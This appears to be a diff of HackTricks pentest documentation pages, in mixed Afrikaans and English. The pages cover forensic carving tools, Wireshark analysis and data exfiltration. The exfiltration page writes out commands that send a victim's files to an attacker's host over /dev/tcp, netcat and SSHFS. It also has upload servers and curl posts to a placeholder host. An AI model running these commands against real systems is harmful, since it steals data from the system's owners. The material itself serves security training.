@ -6,7 +6,7 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
<details>
<summary>Support HackTricks</summary>
<summary>Ondersteun HackTricks</summary>
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
@ -15,14 +15,6 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
</details>
{% endhint %}
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Carving & Recovery tools
Meer gereedskap in [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
@ -52,7 +44,7 @@ foremost -v -i file.img -o output
```
### **Scalpel**
**Scalpel** is 'n ander hulpmiddel wat gebruik kan word om **lêers wat in 'n lêer ingebed is** te vind en te onttrek. In hierdie geval sal jy die lêertipes wat jy wil hê dit moet onttrek, uit die konfigurasie-lêer (_/etc/scalpel/scalpel.conf_) moet ontkommentaar.
**Scalpel** is 'n ander hulpmiddel wat gebruik kan word om **lêers wat in 'n lêer ingebed is** te vind en te onttrek. In hierdie geval sal jy die lêertipes wat jy wil hê dit moet onttrek, uit die konfigurasie-lêer (_/etc/scalpel/scalpel.conf_) moet ontkommentarieer.
```bash
sudo apt-get install scalpel
scalpel file.img -o output
@ -65,7 +57,7 @@ Hierdie hulpmiddel kan 'n beeld skandeer en sal **pcaps** daarin **onttrek**, **
```
bulk_extractor memory.img -o out_folder
```
Navigate through **alle die inligting** wat die hulpmiddel versamel het (wagwoorde?), **analiseer** die **pakkette** (lees[ **Pcaps analise**](../pcap-inspection/)), soek na **vreemde domeine** (domeine wat verband hou met **malware** of **nie-bestaande**).
Navigate deur **alle inligting** wat die hulpmiddel versamel het (wagwoorde?), **analiseer** die **pakkette** (lees[ **Pcaps analise**](../pcap-inspection/)), soek na **vreemde domeine** (domeine wat verband hou met **malware** of **nie-bestaande**).
### PhotoRec
@ -105,15 +97,9 @@ Laai [hier](https://sourceforge.net/projects/findaes/) af.
Jy kan [**viu** ](https://github.com/atanunq/viu) gebruik om beelde vanaf die terminal te sien.\
Jy kan die linux opdraglyn hulpmiddel **pdftotext** gebruik om 'n pdf in teks te omskep en dit te lees.
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>

View file

@ -1,39 +1,31 @@
# File/Data Carving & Recovery Tools
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Try Hard Security Group**
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Carving & Recovery tools
Meer gereedskap in [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
More tools in [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
### Autopsy
Die mees algemene gereedskap wat in forensiese ondersoeke gebruik word om lêers uit beelde te onttrek, is [**Autopsy**](https://www.autopsy.com/download/). Laai dit af, installeer dit en laat dit die lêer opneem om "versteekte" lêers te vind. Let daarop dat Autopsy gebou is om skyfbeelde en ander soorte beelde te ondersteun, maar nie eenvoudige lêers nie.
Die mees algemene hulpmiddel wat in forensiese ondersoeke gebruik word om lêers uit beelde te onttrek, is [**Autopsy**](https://www.autopsy.com/download/). Laai dit af, installeer dit en laat dit die lêer verwerk om "versteekte" lêers te vind. Let daarop dat Autopsy gebou is om skyfbeelde en ander soorte beelde te ondersteun, maar nie eenvoudige lêers nie.
### Binwalk <a href="#binwalk" id="binwalk"></a>
**Binwalk** is 'n gereedskap om binêre lêers te analiseer om ingebedde inhoud te vind. Dit kan geïnstalleer word via `apt` en sy bron is op [GitHub](https://github.com/ReFirmLabs/binwalk).
**Binwalk** is 'n hulpmiddel om binêre lêers te analiseer om ingebedde inhoud te vind. Dit kan geïnstalleer word via `apt` en sy bron is op [GitHub](https://github.com/ReFirmLabs/binwalk).
**Nuttige opdragte**:
```bash
@ -44,7 +36,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file
```
### Foremost
Nog 'n algemene hulpmiddel om verborge lêers te vind is **foremost**. Jy kan die konfigurasielêer van foremost in `/etc/foremost.conf` vind. As jy net vir 'n paar spesifieke lêers wil soek, ontkommentarieer hulle. As jy niks ontkommentarieer nie, sal foremost vir sy standaard geconfigureerde lêertipes soek.
Nog 'n algemene hulpmiddel om verborge lêers te vind, is **foremost**. Jy kan die konfigurasielêer van foremost in `/etc/foremost.conf` vind. As jy net vir 'n paar spesifieke lêers wil soek, ontkommentarieer hulle. As jy niks ontkommentarieer nie, sal foremost vir sy standaard geconfigureerde lêertipes soek.
```bash
sudo apt-get install foremost
foremost -v -i file.img -o output
@ -52,7 +44,7 @@ foremost -v -i file.img -o output
```
### **Scalpel**
**Scalpel** is 'n ander hulpmiddel wat gebruik kan word om **lêers wat in 'n lêer ingebed is** te vind en te onttrek. In hierdie geval sal jy die lêertipes wat jy wil hê dit moet onttrek, uit die konfigurasie-lêer (_/etc/scalpel/scalpel.conf_) moet ontkommentaar.
**Scalpel** is 'n ander hulpmiddel wat gebruik kan word om **lêers wat in 'n lêer ingebed is** te vind en te onttrek. In hierdie geval sal jy die lêertipes wat jy wil hê dit moet onttrek, uit die konfigurasie-lêer (_/etc/scalpel/scalpel.conf_) moet ontkommentarieer.
```bash
sudo apt-get install scalpel
scalpel file.img -o output
@ -65,63 +57,57 @@ Hierdie hulpmiddel kan 'n beeld skandeer en sal **pcaps** daarin **onttrek**, **
```
bulk_extractor memory.img -o out_folder
```
Navigate deur **alle inligting** wat die hulpmiddel versamel het (wagwoorde?), **analiseer** die **pakkette** (lees[ **Pcaps analise**](../pcap-inspection/)), soek na **vreemde domeine** (domeine wat verband hou met **malware** of **nie-bestaande**).
Navigate through **alle die inligting** that the tool has gathered (wagwoorde?), **analiseer** the **pakkette** (lees[ **Pcaps analise**](../pcap-inspection/)), search for **vreemde domeine** (domeine verwant aan **malware** of **nie-bestaande**).
### PhotoRec
Jy kan dit vind in [https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk\_Download)
You can find it in [https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk\_Download)
Dit kom met GUI en CLI weergawes. Jy kan die **lêer-tipes** kies waarvoor jy wil hê PhotoRec moet soek.
It comes with GUI and CLI versions. You can select the **lêer-tipes** you want PhotoRec to search for.
![](<../../../.gitbook/assets/image (242).png>)
### binvis
Kyk na die [kode](https://code.google.com/archive/p/binvis/) en die [webblad hulpmiddel](https://binvis.io/#/).
Check the [kode](https://code.google.com/archive/p/binvis/) and the [web blad gereedskap](https://binvis.io/#/).
#### Kenmerke van BinVis
#### Features of BinVis
* Visuele en aktiewe **struktuurkyker**
* Meervoudige grafieke vir verskillende fokuspunte
* Fokus op gedeeltes van 'n monster
* **Sien stings en hulpbronne**, in PE of ELF uitvoerbare lêers bv.
* Meerdere plotte vir verskillende fokuspunte
* Fokusering op gedeeltes van 'n monster
* **Sien stings en hulpbronne**, in PE of ELF uitvoerbare e. g.
* Kry **patrone** vir kriptoanalise op lêers
* **Identifiseer** pakkers of kodering algoritmes
* **Identifiseer** pakker of kodering algoritmes
* **Identifiseer** Steganografie deur patrone
* **Visuele** binêre-diffing
BinVis is 'n uitstekende **beginpunt om bekend te raak met 'n onbekende teiken** in 'n swart-doos scenario.
BinVis is a great **beginpunt om bekend te raak met 'n onbekende teiken** in 'n swart-doos scenario.
## Spesifieke Data Carving Hulpmiddels
## Spesifieke Data Carving Gereedskap
### FindAES
Soek na AES sleutels deur hul sleutel skedules te soek. In staat om 128, 192, en 256 bit sleutels te vind, soos dié wat deur TrueCrypt en BitLocker gebruik word.
Searches for AES sleutels by searching for their key schedules. Able to find 128. 192, and 256 bit sleutels, such as those used by TrueCrypt and BitLocker.
Laai [hier](https://sourceforge.net/projects/findaes/) af.
Download [hier](https://sourceforge.net/projects/findaes/).
## Aanvullende hulpmiddels
## Aanvullende gereedskap
Jy kan [**viu** ](https://github.com/atanunq/viu) gebruik om beelde vanaf die terminal te sien.\
Jy kan die linux opdraglyn hulpmiddel **pdftotext** gebruik om 'n pdf in teks te omskep en dit te lees.
**Try Hard Security Group**
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
You can use [**viu** ](https://github.com/atanunq/viu)to see images from the terminal.\
You can use the linux command line tool **pdftotext** to transform a pdf into text and read it.
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Ondersteun HackTricks</summary>
<summary>Support HackTricks</summary>
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -15,21 +15,9 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
</details>
{% endhint %}
#### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kyk of 'n maatskappy of sy kliënte **gekompromitteer** is deur **stealer malwares**.
Hul primêre doel van WhiteIntel is om rekening oorname en ransomware-aanvalle te bekamp wat voortspruit uit inligting-steel malware.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
***
As jy 'n pcap het met data wat **deur DNSCat** **uitgelek** word (sonder om versleuteling te gebruik), kan jy die uitgelek inhoud vind.
As jy 'n pcap het met data wat **deur DNSCat** **uitgelek** word (sonder om versleuteling te gebruik), kan jy die uitgelekte inhoud vind.
Jy moet net weet dat die **eerste 9 bytes** nie werklike data is nie, maar verband hou met die **C\&C kommunikasie**:
```python

View file

@ -15,19 +15,6 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
</details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kyk of 'n maatskappy of sy kliënte **gekompromitteer** is deur **stealer malwares**.
Hul primêre doel van WhiteIntel is om rekening oorname en ransomware-aanvalle wat voortspruit uit inligting-steel malware te bekamp.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
***
## Verbeter jou Wireshark vaardighede
@ -44,7 +31,7 @@ Die volgende tutorials is wonderlik om 'n paar koel basiese truuks te leer:
**Deskundige Inligting**
Deur op _**Analiseer** --> **Deskundige Inligting**_ te klik, sal jy 'n **oorsig** hê van wat in die **geanaliseerde** pakkette gebeur:
Deur te klik op _**Analiseer** --> **Deskundige Inligting**_ sal jy 'n **oorsig** hê van wat in die pakkette **geanaliseer** word:
![](<../../../.gitbook/assets/image (256).png>)
@ -56,25 +43,25 @@ Onder _**Statistieke --> Opgeloste Adresse**_ kan jy verskeie **inligting** vind
**Protokol Hiërargie**
Onder _**Statistieke --> Protokol Hiërargie**_ kan jy die **protokolle** **betrokke** in die kommunikasie en data daaroor vind.
Onder _**Statistieke --> Protokol Hiërargie**_ kan jy die **protokolle** **betrokke** in die kommunikasie en data oor hulle vind.
![](<../../../.gitbook/assets/image (586).png>)
**Gesprekke**
Onder _**Statistieke --> Gesprekke**_ kan jy 'n **opsomming van die gesprekke** in die kommunikasie en data daaroor vind.
Onder _**Statistieke --> Gesprekke**_ kan jy 'n **opsomming van die gesprekke** in die kommunikasie en data oor hulle vind.
![](<../../../.gitbook/assets/image (453).png>)
**Eindpunte**
Onder _**Statistieke --> Eindpunte**_ kan jy 'n **opsomming van die eindpunte** in die kommunikasie en data oor elk van hulle vind.
Onder _**Statistieke --> Eindpunte**_ kan jy 'n **opsomming van die eindpunte** in die kommunikasie en data oor elkeen van hulle vind.
![](<../../../.gitbook/assets/image (896).png>)
**DNS inligting**
Onder _**Statistieke --> DNS**_ kan jy statistieke oor die DNS versoek wat gevang is, vind.
Onder _**Statistieke --> DNS**_ kan jy statistieke oor die DNS versoek wat gevang is vind.
![](<../../../.gitbook/assets/image (1063).png>)
@ -98,7 +85,7 @@ Ander interessante filters:
### Soek
As jy wil **soek** vir **inhoud** binne die **pakkette** van die sessies, druk _CTRL+f_. Jy kan nuwe lae by die hoof inligtingsbalk (No., Tyd, Bron, ens.) voeg deur die regterknoppie te druk en dan die kolom te redigeer.
As jy wil **soek** vir **inhoud** binne die **pakkette** van die sessies druk _CTRL+f_. Jy kan nuwe lae by die hoofinligtingbalk (No., Tyd, Bron, ens.) voeg deur die regterknoppie te druk en dan die kolom te redigeer.
### Gratis pcap laboratoriums
@ -110,7 +97,7 @@ Jy kan 'n kolom byvoeg wat die Host HTTP koptekst wys:
![](<../../../.gitbook/assets/image (639).png>)
En 'n kolom wat die Bediener naam van 'n inisiërende HTTPS verbinding byvoeg (**ssl.handshake.type == 1**):
En 'n kolom wat die Bediener naam van 'n inisierende HTTPS verbinding byvoeg (**ssl.handshake.type == 1**):
![](<../../../.gitbook/assets/image (408) (1).png>)
@ -118,7 +105,7 @@ En 'n kolom wat die Bediener naam van 'n inisiërende HTTPS verbinding byvoeg (*
### Van DHCP
In die huidige Wireshark moet jy in plaas van `bootp` soek vir `DHCP`
In die huidige Wireshark in plaas van `bootp` moet jy soek na `DHCP`
![](<../../../.gitbook/assets/image (1013).png>)
@ -138,15 +125,15 @@ Druk _Edit_ en voeg al die data van die bediener en die privaat sleutel (_IP, Po
### Ontsleuteling van https verkeer met simmetriese sessiesleutels
Sowel Firefox as Chrome het die vermoë om TLS sessiesleutels te log, wat met Wireshark gebruik kan word om TLS verkeer te ontsleutel. Dit stel in-diepte analise van veilige kommunikasies moontlik. Meer besonderhede oor hoe om hierdie ontsleuteling uit te voer, kan in 'n gids by [Red Flag Security](https://redflagsecurity.net/2019/03/10/decrypting-tls-wireshark/) gevind word.
Sowel Firefox as Chrome het die vermoë om TLS sessiesleutels te log, wat gebruik kan word met Wireshark om TLS verkeer te ontsleutel. Dit stel in staat tot diepgaande analise van veilige kommunikasies. Meer besonderhede oor hoe om hierdie ontsleuteling uit te voer kan gevind word in 'n gids by [Red Flag Security](https://redflagsecurity.net/2019/03/10/decrypting-tls-wireshark/).
Om dit te ontdek, soek binne die omgewing vir die veranderlike `SSLKEYLOGFILE`
Om dit te detecteer soek binne die omgewing na die veranderlike `SSLKEYLOGFILE`
'n Lêer van gedeelde sleutels sal soos volg lyk:
![](<../../../.gitbook/assets/image (820).png>)
Om dit in wireshark te invoer, gaan na \_edit > voorkeur > protokol > ssl > en voer dit in (Pre)-Master-Secret log lêernaam:
Om dit in wireshark te importeer gaan na \_edit > voorkeur > protokol > ssl > en importeer dit in (Pre)-Master-Secret log lêernaam:
![](<../../../.gitbook/assets/image (989).png>)
@ -179,25 +166,13 @@ f = open('all_bytes.data', 'w+b')
f.write(all_bytes)
f.close()
```
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kyk of 'n maatskappy of sy kliënte **gekompromitteer** is deur **stealer malwares**.
Hul primêre doel van WhiteIntel is om rekening oorname en ransomware-aanvalle te bekamp wat voortspruit uit inligting-steel malware.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
<summary>Ondersteun HackTricks</summary>
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**

View file

@ -1,33 +1,25 @@
# Uitlekking
# Exfiltration
{% hint style="success" %}
Leer & oefen AWS Hack:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hack: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Ondersteun HackTricks</summary>
<summary>Support HackTricks</summary>
* Controleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Probeer Hard Security Groep**
## Gewoonlik gewhitelist domeine om inligting te exfiltreer
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
Check [https://lots-project.com/](https://lots-project.com/) om gewoonlik gewhitelist domeine te vind wat misbruik kan word
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Gewoonlik toegelate domeine om inligting uit te lek
Kyk na [https://lots-project.com/](https://lots-project.com/) om gewoonlik toegelate domeine te vind wat misbruik kan word
## Kopieer & Plak Base64
## Copy\&Paste Base64
**Linux**
```bash
@ -66,7 +58,7 @@ Start-BitsTransfer -Source $url -Destination $output -Asynchronous
### Laai lêers op
* [**SimpleHttpServerWithFileUploads**](https://gist.github.com/UniIsland/3346170)
* [**SimpleHttpServer printing GET and POSTs (also headers)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149)
* [**SimpleHttpServer wat GET en POSTs (ook koptekste) druk**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149)
* Python module [uploadserver](https://pypi.org/project/uploadserver/):
```bash
# Listen to files
@ -80,7 +72,7 @@ curl -X POST http://HOST/upload -H -F 'files=@file.txt'
# With basic auth:
# curl -X POST http://HOST/upload -H -F 'files=@file.txt' -u hello:world
```
### **HTTPS-bediener**
### **HTTPS Bediener**
```python
# from https://gist.github.com/dergachev/7028596
# taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/
@ -171,7 +163,7 @@ kali_op2> smbserver.py -smb2support name /path/folder # Share a folder
#For new Win10 versions
impacket-smbserver -smb2support -user test -password test test `pwd`
```
Of skep 'n smb-aandeel **met behulp van samba**:
Of skep 'n smb deel **met samba**:
```bash
apt-get install samba
mkdir /tmp/smb
@ -186,37 +178,7 @@ guest ok = Yes
#Start samba
service smbd restart
```
### Exfiltration
#### Exfiltration Techniques
Exfiltration techniques are ways to **steal** data from a target system. These techniques can be **categorized** into several groups based on how the data is **transferred** from the target system to the attacker's system. Some common exfiltration techniques include:
- **Exfiltration Over Command and Control (C2) Channel**: Attackers can use a C2 channel to **send** data from the target system to their **command and control server**. This can be done using various **protocols** such as HTTP, DNS, or custom protocols.
- **Exfiltration Over Alternative Protocols**: Attackers can use **alternative protocols** such as ICMP, SSH, or even social media platforms to **exfiltrate** data from the target system. This can help **bypass** **network** **security** controls that **monitor** traditional **network** traffic.
- **Exfiltration Over Encrypted Channels**: Attackers can use **encrypted channels** such as **SSL/TLS** to **hide** exfiltrated data **within** **legitimate** **network** traffic. This can **evade** detection by **security** **tools** that do not **inspect** encrypted traffic.
- **Exfiltration Using Steganography**: Attackers can **embed** **data** **within** **files**, **images**, or other **media** using **steganography** techniques. This **hidden** data can then be **extracted** by the attacker **without** arousing suspicion.
- **Exfiltration Over DNS**: Attackers can **abuse** the **DNS** protocol to **exfiltrate** data by **encoding** it **within** **DNS** **queries** or **responses**. This can **bypass** **firewalls** that **allow** **DNS** traffic **outbound**.
#### Exfiltration Tools
There are several tools available to **facilitate** data exfiltration during a **penetration test**. These tools can **automate** the exfiltration process and **help** **testers** **determine** the **effectiveness** of **security** controls **implemented** by the target organization. Some common exfiltration tools include:
- **Cobalt Strike**: A **popular** **framework** for **adversary** **simulations** and **red team** operations that **includes** **features** for **exfiltration**.
- **Empire**: An **open-source** **post-exploitation** **framework** that **includes** **modules** for **data exfiltration**.
- **PowerShell Empire**: A **post-exploitation** **framework** that **leverages** **PowerShell** for **exfiltration** and **persistence**.
- **Sliver**: A **cross-platform** **implant** that **includes** **features** for **exfiltration** and **persistence**.
- **SILENTTRINITY**: An **open-source** **post-exploitation** **framework** that **supports** **exfiltration** **capabilities**.
By **leveraging** these tools and techniques, **attackers** can **successfully** **exfiltrate** data from **target** systems **without** being **detected**.
Windows
```bash
CMD-Wind> \\10.10.14.14\path\to\exe
CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials
@ -232,15 +194,13 @@ scp <username>@<Attacker_IP>:<directory>/<filename>
```
## SSHFS
Indien die slagoffer SSH het, kan die aanvaller 'n gids van die slagoffer na die aanvaller se stelsel koppel.
As die slagoffer SSH het, kan die aanvaller 'n gids van die slagoffer na die aanvaller monteer.
```bash
sudo apt-get install sshfs
sudo mkdir /mnt/sshfs
sudo sshfs -o allow_other,default_permissions <Target username>@<Target IP address>:<Full path to folder>/ /mnt/sshfs/
```
## NC
Netcat is 'n kragtige netwerk hulpmiddel wat gebruik kan word vir die oordrag van data oor netwerke. Dit kan gebruik word vir die skep van terugvoerlêers, portskandering, en selfs as 'n eenvoudige webbediener.
```bash
nc -lvnp 4444 > new_file
nc -vn <IP> 4444 < exfil_file
@ -252,14 +212,14 @@ nc -vn <IP> 4444 < exfil_file
nc -lvnp 80 > file #Inside attacker
cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim
```
### Laai lêer na slagoffer op
### Laai lêer op na slagoffer
```bash
nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker
# Inside victim
exec 6< /dev/tcp/10.10.10.10/4444
cat <&6 > file.txt
```
dankie aan **@BinaryShadow\_**
dank aan **@BinaryShadow\_**
## **ICMP**
```bash
@ -281,22 +241,22 @@ sniff(iface="tun0", prn=process_packet)
```
## **SMTP**
As jy data na 'n SMTP-bediener kan stuur, kan jy 'n SMTP skep om die data met Python te ontvang:
